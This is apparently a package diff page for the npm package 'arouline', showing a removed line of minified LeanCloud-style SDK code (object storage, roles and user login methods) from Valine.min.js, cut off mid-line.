arouline 1.0.11 → 1.0.12

Sign up to get free protection for your applications and to get access to all the features.
package/Valine.min.js CHANGED
@@ -4,5 +4,5 @@
4
4
  * @author Feross Aboukhadijeh <https://feross.org>
5
5
  * @license MIT
6
6
  */
7
- e.exports=function(e){return null!=e&&(n(e)||r(e)||!!e._isBuffer)}},function(e,t,n){"use strict";var r=function(e,t){var n;e.indexOf("base64")<0?n=atob(e):e.split(",")[0].indexOf("base64")>=0?(t=t||e.split(",")[0].split(":")[1].split(";")[0],n=atob(e.split(",")[1])):n=unescape(e.split(",")[1]);for(var r=new Uint8Array(n.length),i=0;i<n.length;i++)r[i]=n.charCodeAt(i);return new Blob([r],{type:t})};e.exports=r},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e,t){return e&&e[t]?d.isFunction(e[t])?e[t]():e[t]:null}var o=n(143),s=r(o),a=n(9),u=r(a),c=n(146),l=r(c),f=n(2),h=r(f),d=n(0),p=n(16),v=n(5),g=v._request,m=n(6),_=m.isNullOrUndefined,y=m.ensureArray,b=m.transformFetchOptions,w=m.setValue,x=m.findValue,A=m.isPlainObject,k=m.continueWhile,O=function e(t){return d.isArray(t)?t.map(e):A(t)?d.mapObject(t,e):d.isObject(t)&&t._toPointer?t._toPointer():t},S=["objectId","createdAt","updatedAt"],E=function(e){if(-1!==S.indexOf(e))throw new Error("key["+e+"] is reserved")},C=function(e){var t=d.find(e,function(e){return e instanceof Error});if(!t)return e;var n=new p(t.code,t.message);throw n.results=e,n};e.exports=function(e){e.Object=function(t,n){if(d.isString(t))return e.Object._create.apply(this,arguments);t=t||{},n&&n.parse&&(t=this.parse(t),t=this._mergeMagicFields(t));var r=i(this,"defaults");r&&(t=d.extend({},r,t)),n&&n.collection&&(this.collection=n.collection),this._serverData={},this._opSetQueue=[{}],this._flags={},this.attributes={},this._hashedJSON={},this._escapedAttributes={},this.cid=d.uniqueId("c"),this.changed={},this._silent={},this._pending={},this.set(t,{silent:!0}),this.changed={},this._silent={},this._pending={},this._hasData=!0,this._previousAttributes=d.clone(this.attributes),this.initialize.apply(this,arguments)},e.Object.saveAll=function(t,n){return e.Object._deepSaveAsync(t,null,n)},e.Object.fetchAll=function(e,t){return h.default.resolve().then(function(){return g("batch",null,null,"POST",{requests:d.map(e,function(e){if(!e.className)throw new Error("object must have className to fetch");if(!e.id)throw new Error("object must have id to fetch");if(e.dirty())throw new Error("object is modified but not saved");return{method:"GET",path:"/1.1/classes/"+e.className+"/"+e.id}})},t)}).then(function(t){var n=d.map(e,function(e,n){if(t[n].success){var r=e.parse(t[n].success);return e._cleanupUnsetKeys(r),e._finishFetch(r),e}return null===t[n].success?new p(p.OBJECT_NOT_FOUND,"Object not found."):new p(t[n].error.code,t[n].error.error)});return C(n)})},d.extend(e.Object.prototype,e.Events,{_fetchWhenSave:!1,initialize:function(){},fetchWhenSave:function(e){if(console.warn("AV.Object#fetchWhenSave is deprecated, use AV.Object#save with options.fetchWhenSave instead."),!d.isBoolean(e))throw new Error("Expect boolean value for fetchWhenSave");this._fetchWhenSave=e},getObjectId:function(){return this.id},getCreatedAt:function(){return this.createdAt},getUpdatedAt:function(){return this.updatedAt},toJSON:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[];return this._toFullJSON(n,!1)},toFullJSON:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return this._toFullJSON(e)},_toFullJSON:function(t){var n=this,r=!(arguments.length>1&&void 0!==arguments[1])||arguments[1],i=d.clone(this.attributes);if(d.isArray(t))var o=t.concat(this);return e._objectEach(i,function(t,n){i[n]=e._encode(t,o,void 0,r)}),e._objectEach(this._operations,function(e,t){i[t]=e}),d.has(this,"id")&&(i.objectId=this.id),d(["createdAt","updatedAt"]).each(function(e){if(d.has(n,e)){var t=n[e];i[e]=d.isDate(t)?t.toJSON():t}}),r&&(i.__type="Object",d.isArray(t)&&t.length&&(i.__type="Pointer"),i.className=this.className),i},_refreshCache:function(){var t=this;t._refreshingCache||(t._refreshingCache=!0,e._objectEach(this.attributes,function(n,r){n instanceof e.Object?n._refreshCache():d.isObject(n)&&t._resetCacheForKey(r)&&t.set(r,new e.Op.Set(n),{silent:!0})}),delete t._refreshingCache)},dirty:function(e){this._refreshCache();var t=d.last(this._opSetQueue);return e?!!t[e]:!this.id||d.keys(t).length>0},dirtyKeys:function(){this._refreshCache();var e=d.last(this._opSetQueue);return d.keys(e)},_toPointer:function(){return{__type:"Pointer",className:this.className,objectId:this.id}},get:function(e){switch(e){case"objectId":return this.id;case"createdAt":case"updatedAt":return this[e];default:return this.attributes[e]}},relation:function(t){var n=this.get(t);if(n){if(!(n instanceof e.Relation))throw new Error("Called relation() on non-relation field "+t);return n._ensureParentAndKey(this,t),n}return new e.Relation(this,t)},escape:function(e){var t=this._escapedAttributes[e];if(t)return t;var n,r=this.attributes[e];return n=_(r)?"":d.escape(r.toString()),this._escapedAttributes[e]=n,n},has:function(e){return!_(this.attributes[e])},_mergeMagicFields:function(t){var n=this,r=["objectId","createdAt","updatedAt"];return e._arrayEach(r,function(r){t[r]&&("objectId"===r?n.id=t[r]:"createdAt"!==r&&"updatedAt"!==r||d.isDate(t[r])?n[r]=t[r]:n[r]=e._parseDate(t[r]),delete t[r])}),t},_startSave:function(){this._opSetQueue.push({})},_cancelSave:function(){var t=d.first(this._opSetQueue);this._opSetQueue=d.rest(this._opSetQueue);var n=d.first(this._opSetQueue);e._objectEach(t,function(e,r){var i=t[r],o=n[r];i&&o?n[r]=o._mergeWithPrevious(i):i&&(n[r]=i)}),this._saving=this._saving-1},_finishSave:function(t){var n={};e._traverse(this.attributes,function(t){t instanceof e.Object&&t.id&&t._hasData&&(n[t.id]=t)});var r=d.first(this._opSetQueue);this._opSetQueue=d.rest(this._opSetQueue),this._applyOpSet(r,this._serverData),this._mergeMagicFields(t);var i=this;e._objectEach(t,function(t,r){i._serverData[r]=e._decode(t,r);var o=e._traverse(i._serverData[r],function(t){if(t instanceof e.Object&&n[t.id])return n[t.id]});o&&(i._serverData[r]=o)}),this._rebuildAllEstimatedData();var o=this._opSetQueue.map(d.clone);this._refreshCache(),this._opSetQueue=o,this._saving=this._saving-1},_finishFetch:function(t,n){this._opSetQueue=[{}],this._mergeMagicFields(t);var r=this;e._objectEach(t,function(t,n){r._serverData[n]=e._decode(t,n)}),this._rebuildAllEstimatedData(),this._refreshCache(),this._opSetQueue=[{}],this._hasData=n},_applyOpSet:function(t,n){var r=this;e._objectEach(t,function(t,i){var o=x(n,i),s=(0,l.default)(o,3),a=s[0],u=s[1],c=s[2];w(n,i,t._estimate(a,r,i)),u&&u[c]===e.Op._UNSET&&delete u[c]})},_resetCacheForKey:function(t){var n=this.attributes[t];if(d.isObject(n)&&!(n instanceof e.Object)&&!(n instanceof e.File)){var r=(0,u.default)(O(n));if(this._hashedJSON[t]!==r){var i=!!this._hashedJSON[t];return this._hashedJSON[t]=r,i}}return!1},_rebuildEstimatedDataForKey:function(t){var n=this;delete this.attributes[t],this._serverData[t]&&(this.attributes[t]=this._serverData[t]),e._arrayEach(this._opSetQueue,function(r){var i=r[t];if(i){var o=x(n.attributes,t),s=(0,l.default)(o,4),a=s[0],u=s[1],c=s[2],f=s[3];w(n.attributes,t,i._estimate(a,n,t)),u&&u[c]===e.Op._UNSET&&delete u[c],n._resetCacheForKey(f)}})},_rebuildAllEstimatedData:function(){var t=this,n=d.clone(this.attributes);this.attributes=d.clone(this._serverData),e._arrayEach(this._opSetQueue,function(n){t._applyOpSet(n,t.attributes),e._objectEach(n,function(e,n){t._resetCacheForKey(n)})}),e._objectEach(n,function(e,n){t.attributes[n]!==e&&t.trigger("change:"+n,t,t.attributes[n],{})}),e._objectEach(this.attributes,function(e,r){d.has(n,r)||t.trigger("change:"+r,t,e,{})})},set:function(t,n,r){var i;if(d.isObject(t)||_(t)?(i=d.mapObject(t,function(t,n){return E(n),e._decode(t,n)}),r=n):(i={},E(t),i[t]=e._decode(n,t)),r=r||{},!i)return this;i instanceof e.Object&&(i=i.attributes),r.unset&&e._objectEach(i,function(t,n){i[n]=new e.Op.Unset});var o=d.clone(i),s=this;e._objectEach(o,function(t,n){t instanceof e.Op&&(o[n]=t._estimate(s.attributes[n],s,n),o[n]===e.Op._UNSET&&delete o[n])}),this._validate(i,r),r.changes={};var a=this._escapedAttributes;return e._arrayEach(d.keys(i),function(t){var n=i[t];n instanceof e.Relation&&(n.parent=s),n instanceof e.Op||(n=new e.Op.Set(n));var o=!0;n instanceof e.Op.Set&&d.isEqual(s.attributes[t],n.value)&&(o=!1),o&&(delete a[t],r.silent?s._silent[t]=!0:r.changes[t]=!0);var u=d.last(s._opSetQueue);u[t]=n._mergeWithPrevious(u[t]),s._rebuildEstimatedDataForKey(t),o?(s.changed[t]=s.attributes[t],r.silent||(s._pending[t]=!0)):(delete s.changed[t],delete s._pending[t])}),r.silent||this.change(r),this},unset:function(e,t){return t=t||{},t.unset=!0,this.set(e,null,t)},increment:function(t,n){return(d.isUndefined(n)||d.isNull(n))&&(n=1),this.set(t,new e.Op.Increment(n))},add:function(t,n){return this.set(t,new e.Op.Add(y(n)))},addUnique:function(t,n){return this.set(t,new e.Op.AddUnique(y(n)))},remove:function(t,n){return this.set(t,new e.Op.Remove(y(n)))},bitAnd:function(t,n){return this.set(t,new e.Op.BitAnd(n))},bitOr:function(t,n){return this.set(t,new e.Op.BitOr(n))},bitXor:function(t,n){return this.set(t,new e.Op.BitXor(n))},op:function(e){return d.last(this._opSetQueue)[e]},clear:function(e){e=e||{},e.unset=!0;var t=d.extend(this.attributes,this._operations);return this.set(t,e)},revert:function(e){var t=d.last(this._opSetQueue);return y(e||d.keys(t)).forEach(function(e){delete t[e]}),this._rebuildAllEstimatedData(),this},_getSaveJSON:function(){var t=d.clone(d.first(this._opSetQueue));return e._objectEach(t,function(e,n){t[n]=e.toJSON()}),t},_canBeSerialized:function(){return e.Object._canBeSerializedAsValue(this.attributes)},fetch:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments[1],n=this;return g("classes",this.className,this.id,"GET",b(e),t).then(function(t){var r=n.parse(t);return n._cleanupUnsetKeys(r,e.keys?y(e.keys).join(",").split(","):void 0),n._finishFetch(r,!0),n})},_cleanupUnsetKeys:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:d.keys(this._serverData);d.forEach(n,function(n){void 0===e[n]&&delete t._serverData[n]})},save:function(t,n,r){var i,o,s;d.isObject(t)||_(t)?(i=t,s=n):(i={},i[t]=n,s=r),s=d.clone(s)||{},s.wait&&(o=d.clone(this.attributes));var a=d.clone(s)||{};a.wait&&(a.silent=!0),i&&this.set(i,a);var u=this,c=[],l=[];return e.Object._findUnsavedChildren(u,c,l),c.length+l.length>1?e.Object._deepSaveAsync(this,u,s):(this._startSave(),this._saving=(this._saving||0)+1,this._allPreviousSaves=this._allPreviousSaves||h.default.resolve(),this._allPreviousSaves=this._allPreviousSaves.catch(function(e){}).then(function(){var e=u.id?"PUT":"POST",t=u._getSaveJSON(),n={};if((u._fetchWhenSave||s.fetchWhenSave)&&(n.new="true"),s._failOnNotExist&&(n.failOnNotExist="true"),s.query){var r;if("function"==typeof s.query._getParams&&(r=s.query._getParams())&&(n.where=r.where),!n.where){throw new Error("options.query is not an AV.Query")}}d.extend(t,u._flags);var c="classes",l=u.className;"_User"!==u.className||u.id||(c="users",l=null);var f=s._makeRequest||g,h=f(c,l,u.id,e,t,s,n);return h=h.then(function(e){var t=u.parse(e);return s.wait&&(t=d.extend(i||{},t)),u._finishSave(t),s.wait&&u.set(o,a),u},function(e){throw u._cancelSave(),e})}),this._allPreviousSaves)},destroy:function(e){e=e||{};var t=this,n=function(){t.trigger("destroy",t,t.collection,e)};return this.id?(e.wait||n(),g("classes",this.className,this.id,"DELETE",this._flags,e).then(function(){return e.wait&&n(),t})):n()},parse:function(t){var n=d.clone(t);return d(["createdAt","updatedAt"]).each(function(t){n[t]&&(n[t]=e._parseDate(n[t]))}),n.createdAt&&!n.updatedAt&&(n.updatedAt=n.createdAt),n},clone:function(){return new this.constructor(this.attributes)},isNew:function(){return!this.id},change:function(t){t=t||{};var n=this._changing;this._changing=!0;var r=this;e._objectEach(this._silent,function(e){r._pending[e]=!0});var i=d.extend({},t.changes,this._silent);if(this._silent={},e._objectEach(i,function(e,n){r.trigger("change:"+n,r,r.get(n),t)}),n)return this;for(var o=function(e,t){r._pending[t]||r._silent[t]||delete r.changed[t]};!d.isEmpty(this._pending);)this._pending={},this.trigger("change",this,t),e._objectEach(this.changed,o),r._previousAttributes=d.clone(this.attributes);return this._changing=!1,this},previous:function(e){return arguments.length&&this._previousAttributes?this._previousAttributes[e]:null},previousAttributes:function(){return d.clone(this._previousAttributes)},isValid:function(){try{this.validate(this.attributes)}catch(e){return!1}return!0},validate:function(t){if(d.has(t,"ACL")&&!(t.ACL instanceof e.ACL))throw new p(p.OTHER_CAUSE,"ACL must be a AV.ACL.")},_validate:function(e,t){!t.silent&&this.validate&&(e=d.extend({},this.attributes,e),this.validate(e))},getACL:function(){return this.get("ACL")},setACL:function(e,t){return this.set("ACL",e,t)},disableBeforeHook:function(){this.ignoreHook("beforeSave"),this.ignoreHook("beforeUpdate"),this.ignoreHook("beforeDelete")},disableAfterHook:function(){this.ignoreHook("afterSave"),this.ignoreHook("afterUpdate"),this.ignoreHook("afterDelete")},ignoreHook:function(t){if(!d.contains(["beforeSave","afterSave","beforeUpdate","afterUpdate","beforeDelete","afterDelete"],t))throw new Error("Unsupported hookName: "+t);if(!e.hookKey)throw new Error("ignoreHook required hookKey");this._flags.__ignore_hooks||(this._flags.__ignore_hooks=[]),this._flags.__ignore_hooks.push(t)}}),e.Object.createWithoutData=function(t,n,r){var i=void 0;if(d.isString(t))i=e.Object._getSubclass(t);else{if(!(t.prototype&&t.prototype instanceof e.Object))throw new Error("class must be a string or a subclass of AV.Object.");i=t}var o=new i;return o.id=n,o._hasData=r,o},e.Object.destroyAll=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e||0===e.length)return h.default.resolve();var n=d.groupBy(e,function(e){return(0,u.default)({className:e.className,flags:e._flags})}),r={requests:d.map(n,function(e){var t=d.map(e,"id").join(",");return{method:"DELETE",path:"/1.1/classes/"+e[0].className+"/"+t,body:e[0]._flags}})};return g("batch",null,null,"POST",r,t).then(function(e){var t=d.find(e,function(e){return!e.success});if(t)throw new p(t.error.code,t.error.error)})},e.Object._getSubclass=function(t){if(!d.isString(t))throw new Error("AV.Object._getSubclass requires a string argument.");var n=e.Object._classMap[t];return n||(n=e.Object.extend(t),e.Object._classMap[t]=n),n},e.Object._create=function(t,n,r){return new(e.Object._getSubclass(t))(n,r)},e.Object._classMap={},e.Object._extend=e._extend,e.Object.new=function(t,n){return new e.Object(t,n)},e.Object.extend=function(t,n,r){if(!d.isString(t)){if(t&&d.has(t,"className"))return e.Object.extend(t.className,t,n);throw new Error("AV.Object.extend's first argument should be the className.")}"User"===t&&(t="_User");var i=null;if(d.has(e.Object._classMap,t)){var o=e.Object._classMap[t];if(!n&&!r)return o;i=o._extend(n,r)}else n=n||{},n._className=t,i=this._extend(n,r);return i.extend=function(n){if(d.isString(n)||n&&d.has(n,"className"))return e.Object.extend.apply(i,arguments);var r=[t].concat(d.toArray(arguments));return e.Object.extend.apply(i,r)},Object.defineProperty(i,"query",(0,s.default)(e.Object,"query")),i.new=function(e,t){return new i(e,t)},e.Object._classMap[t]=i,i},Object.defineProperty(e.Object.prototype,"className",{get:function(){var e=this._className||this.constructor._LCClassName||this.constructor.name;return"User"===e?"_User":e}}),e.Object.register=function(t,n){if(!(t.prototype instanceof e.Object))throw new Error("registered class is not a subclass of AV.Object");var r=n||t.name;if(!r.length)throw new Error("registered class must be named");n&&(t._LCClassName=n),e.Object._classMap[r]=t},Object.defineProperty(e.Object,"query",{get:function(){return new e.Query(this.prototype.className)}}),e.Object._findUnsavedChildren=function(t,n,r){e._traverse(t,function(t){return t instanceof e.Object?void(t.dirty()&&n.push(t)):t instanceof e.File?void(t.id||r.push(t)):void 0})},e.Object._canBeSerializedAsValue=function(t){var n=!0;return t instanceof e.Object||t instanceof e.File?n=!!t.id:d.isArray(t)?e._arrayEach(t,function(t){e.Object._canBeSerializedAsValue(t)||(n=!1)}):d.isObject(t)&&e._objectEach(t,function(t){e.Object._canBeSerializedAsValue(t)||(n=!1)}),n},e.Object._deepSaveAsync=function(t,n,r){var i=[],o=[];e.Object._findUnsavedChildren(t,i,o);var s=h.default.resolve();d.each(o,function(e){s=s.then(function(){return e.save()})});var a=d.uniq(i),u=d.uniq(a);return s.then(function(){return k(function(){return u.length>0},function(){var t=[],n=[];if(e._arrayEach(u,function(e){if(t.length>20)return void n.push(e);e._canBeSerialized()?t.push(e):n.push(e)}),u=n,0===t.length)return h.default.reject(new p(p.OTHER_CAUSE,"Tried to save a batch with a cycle."));var i=h.default.resolve(d.map(t,function(e){return e._allPreviousSaves||h.default.resolve()})),o=i.then(function(){return g("batch",null,null,"POST",{requests:d.map(t,function(e){var t=e.id?"PUT":"POST",n=e._getSaveJSON();d.extend(n,e._flags);var r=e.className,i="/classes/"+r;"_User"!==e.className||e.id||(i="/users");var i="/1.1"+i;return e.id&&(i=i+"/"+e.id),e._startSave(),{method:t,path:i,body:n}})},r).then(function(e){var n=d.map(t,function(t,n){return e[n].success?(t._finishSave(t.parse(e[n].success)),t):(t._cancelSave(),new p(e[n].error.code,e[n].error.error))});return C(n)})});return e._arrayEach(t,function(e){e._allPreviousSaves=o}),o})}).then(function(){return t})}}},function(e,t,n){e.exports={default:n(144),__esModule:!0}},function(e,t,n){n(145);var r=n(1).Object;e.exports=function(e,t){return r.getOwnPropertyDescriptor(e,t)}},function(e,t,n){var r=n(15),i=n(77).f;n(47)("getOwnPropertyDescriptor",function(){return function(e,t){return i(r(e),t)}})},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=n(79),o=r(i),s=n(149),a=r(s);t.default=function(){function e(e,t){var n=[],r=!0,i=!1,o=void 0;try{for(var s,u=(0,a.default)(e);!(r=(s=u.next()).done)&&(n.push(s.value),!t||n.length!==t);r=!0);}catch(e){i=!0,o=e}finally{try{!r&&u.return&&u.return()}finally{if(i)throw o}}return n}return function(t,n){if(Array.isArray(t))return t;if((0,o.default)(Object(t)))return e(t,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}()},function(e,t,n){n(33),n(21),e.exports=n(148)},function(e,t,n){var r=n(44),i=n(4)("iterator"),o=n(17);e.exports=n(1).isIterable=function(e){var t=Object(e);return void 0!==t[i]||"@@iterator"in t||o.hasOwnProperty(r(t))}},function(e,t,n){e.exports={default:n(150),__esModule:!0}},function(e,t,n){n(33),n(21),e.exports=n(151)},function(e,t,n){var r=n(8),i=n(45);e.exports=n(1).getIterator=function(e){var t=i(e);if("function"!=typeof t)throw TypeError(e+" is not iterable!");return r(t.call(e))}},function(e,t,n){"use strict";var r=n(0),i=n(16);e.exports=function(e){e.Role=e.Object.extend("_Role",{constructor:function(t,n){if(r.isString(t)?(e.Object.prototype.constructor.call(this,null,null),this.setName(t)):e.Object.prototype.constructor.call(this,t,n),n){if(!(n instanceof e.ACL))throw new TypeError("acl must be an instance of AV.ACL");this.setACL(n)}},getName:function(){return this.get("name")},setName:function(e,t){return this.set("name",e,t)},getUsers:function(){return this.relation("users")},getRoles:function(){return this.relation("roles")},validate:function(t,n){if("name"in t&&t.name!==this.getName()){var o=t.name;if(this.id&&this.id!==t.objectId)return new i(i.OTHER_CAUSE,"A role's name can only be set before it has been saved.");if(!r.isString(o))return new i(i.OTHER_CAUSE,"A role's name must be a String.");if(!/^[0-9a-zA-Z\-_ ]+$/.test(o))return new i(i.OTHER_CAUSE,"A role's name can only contain alphanumeric characters, _, -, and spaces.")}return!!e.Object.prototype.validate&&e.Object.prototype.validate.call(this,t,n)}})}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}var i=n(9),o=r(i),s=n(154),a=r(s),u=n(2),c=r(u),l=n(0),f=n(69),h=n(16),d=n(5),p=d._request,v=d.request,g=n(20),m=g.getAdapter,_=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"weixin";return function(t,n){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},i=r.unionIdPlatform,o=void 0===i?e:i,s=r.asMainAccount,a=void 0!==s&&s;if("string"!=typeof n)throw new h(h.OTHER_CAUSE,"unionId is not a string");if("string"!=typeof o)throw new h(h.OTHER_CAUSE,"unionIdPlatform is not a string");return l.extend({},t,{platform:o,unionid:n,main_account:Boolean(a)})}};e.exports=function(e){e.User=e.Object.extend("_User",{_isCurrentUser:!1,_mergeMagicFields:function(t){return t.sessionToken&&(this._sessionToken=t.sessionToken,delete t.sessionToken),e.User.__super__._mergeMagicFields.call(this,t)},_cleanupAuthData:function(){if(this.isCurrent()){var t=this.get("authData");t&&e._objectEach(this.get("authData"),function(e,n){t[n]||delete t[n]})}},_synchronizeAllAuthData:function(){if(this.get("authData")){var t=this;e._objectEach(this.get("authData"),function(e,n){t._synchronizeAuthData(n)})}},_synchronizeAuthData:function(t){if(this.isCurrent()){var n;l.isString(t)?(n=t,t=e.User._authProviders[n]):n=t.getAuthType();var r=this.get("authData");if(r&&t){t.restoreAuthentication(r[n])||this.dissociateAuthData(t)}}},_handleSaveResult:function(t){return t&&!e._config.disableCurrentUser&&(this._isCurrentUser=!0),this._cleanupAuthData(),this._synchronizeAllAuthData(),delete this._serverData.password,this._rebuildEstimatedDataForKey("password"),this._refreshCache(),!t&&!this.isCurrent()||e._config.disableCurrentUser?c.default.resolve():c.default.resolve(e.User._saveCurrentUser(this))},_linkWith:function(t,n){var r,i=this,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},s=o.failOnNotExist,u=void 0!==s&&s;return l.isString(t)?(r=t,t=e.User._authProviders[t]):r=t.getAuthType(),n?this.save({authData:(0,a.default)({},r,n)},{fetchWhenSave:!!this.get("authData"),_failOnNotExist:u}).then(function(e){return e._handleSaveResult(!0).then(function(){return e})}):t.authenticate().then(function(e){return i._linkWith(t,e)})},associateWithAuthData:function(e,t){return this._linkWith(t,e)},associateWithAuthDataAndUnionId:function(e,t,n,r){return this._linkWith(t,_()(e,n,r))},associateWithMiniApp:function(e,t){var n=this;if(void 0===e){return m("getAuthInfo")().then(function(e){return n._linkWith(e.provider,e.authData,t)})}return this._linkWith(e.provider,e.authData,t)},associateWithQQApp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"qq":i,s=t.asMainAccount,a=void 0===s||s;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return t.provider="lc_qqapp",e.associateWithMiniApp(t)})},associateWithWeapp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"weixin":i,s=t.asMainAccount,a=void 0===s||s;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return e.associateWithMiniApp(t)})},linkWithWeapp:function(e){return console.warn("DEPRECATED: User#linkWithWeapp 已废弃,请使用 User#associateWithWeapp 代替"),this.associateWithWeapp(e)},associateWithQQAppWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"qq":i,s=r.asMainAccount,a=void 0!==s&&s;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),r.provider="lc_qqapp",n.associateWithMiniApp(r)})},associateWithWeappWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"weixin":i,s=r.asMainAccount,a=void 0!==s&&s;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),n.associateWithMiniApp(r)})},dissociateAuthData:function(e){return this.unset("authData."+e),this.save().then(function(e){return e._handleSaveResult(!0).then(function(){return e})})},_unlinkFrom:function(e){return console.warn("DEPRECATED: User#_unlinkFrom 已废弃,请使用 User#dissociateAuthData 代替"),this.dissociateAuthData(e)},_isLinked:function(e){var t;return t=l.isString(e)?e:e.getAuthType(),!!(this.get("authData")||{})[t]},isAnonymous:function(){return this._isLinked("anonymous")},logOut:function(){this._logOutWithAll(),this._isCurrentUser=!1},_logOutWithAll:function(){if(this.get("authData")){var t=this;e._objectEach(this.get("authData"),function(e,n){t._logOutWith(n)})}},_logOutWith:function(t){this.isCurrent()&&(l.isString(t)&&(t=e.User._authProviders[t]),t&&t.deauthenticate&&t.deauthenticate())},signUp:function(e,t){var n=e&&e.username||this.get("username");if(!n||""===n)throw new h(h.OTHER_CAUSE,"Cannot sign up user with an empty name.");var r=e&&e.password||this.get("password");if(!r||""===r)throw new h(h.OTHER_CAUSE,"Cannot sign up user with an empty password.");return this.save(e,t).then(function(e){return e.isAnonymous()&&(e.unset("authData.anonymous"),e._opSetQueue=[{}]),e._handleSaveResult(!0).then(function(){return e})})},signUpOrlogInWithMobilePhone:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e&&e.mobilePhoneNumber||this.get("mobilePhoneNumber");if(!n||""===n)throw new h(h.OTHER_CAUSE,"Cannot sign up or login user by mobilePhoneNumber with an empty mobilePhoneNumber.");var r=e&&e.smsCode||this.get("smsCode");if(!r||""===r)throw new h(h.OTHER_CAUSE,"Cannot sign up or login user by mobilePhoneNumber with an empty smsCode.");return t._makeRequest=function(e,t,n,r,i){return p("usersByMobilePhone",null,null,"POST",i)},this.save(e,t).then(function(e){return delete e.attributes.smsCode,delete e._serverData.smsCode,e._handleSaveResult(!0).then(function(){return e})})},loginWithAuthData:function(e,t,n){return this._linkWith(t,e,n)},loginWithAuthDataAndUnionId:function(e,t,n,r){return this.loginWithAuthData(_()(e,n,r),t,r)},loginWithWeapp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"weixin":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithWeappWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"weixin":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithQQApp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"qq":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return t.provider="lc_qqapp",e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithQQAppWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"qq":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),r.provider="lc_qqapp",n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithMiniApp:function(e,t){var n=this;if(void 0===e){return m("getAuthInfo")().then(function(e){return n.loginWithAuthData(e.authData,e.provider,t)})}return this.loginWithAuthData(e.authData,e.provider,t)},logIn:function(){var e=this;return p("login",null,null,"POST",this.toJSON()).then(function(t){var n=e.parse(t);return e._finishFetch(n),e._handleSaveResult(!0).then(function(){return n.smsCode||delete e.attributes.smsCode,e})})},save:function(t,n,r){var i,o;return l.isObject(t)||l.isNull(t)||l.isUndefined(t)?(i=t,o=n):(i={},i[t]=n,o=r),o=o||{},e.Object.prototype.save.call(this,i,o).then(function(e){return e._handleSaveResult(!1).then(function(){return e})})},follow:function(t,n){if(!this.id)throw new Error("Please signin.");var r=void 0,i=void 0;t.user?(r=t.user,i=t.attributes):r=t;var o=l.isString(r)?r:r.id;if(!o)throw new Error("Invalid target user.");var s="users/"+this.id+"/friendship/"+o;return p(s,null,null,"POST",e._encode(i),n)},unfollow:function(e,t){if(!this.id)throw new Error("Please signin.");var n=void 0;n=e.user?e.user:e;var r=l.isString(n)?n:n.id;if(!r)throw new Error("Invalid target user.");var i="users/"+this.id+"/friendship/"+r;return p(i,null,null,"DELETE",null,t)},followerQuery:function(){return e.User.followerQuery(this.id)},followeeQuery:function(){return e.User.followeeQuery(this.id)},fetch:function(t,n){return e.Object.prototype.fetch.call(this,t,n).then(function(e){return e._handleSaveResult(!1).then(function(){return e})})},updatePassword:function(e,t,n){var r=this,i="users/"+this.id+"/updatePassword";return p(i,null,null,"PUT",{old_password:e,new_password:t},n).then(function(e){return r._finishFetch(r.parse(e)),r._handleSaveResult(!0).then(function(){return e})})},isCurrent:function(){return this._isCurrentUser},getUsername:function(){return this.get("username")},getMobilePhoneNumber:function(){return this.get("mobilePhoneNumber")},setMobilePhoneNumber:function(e,t){return 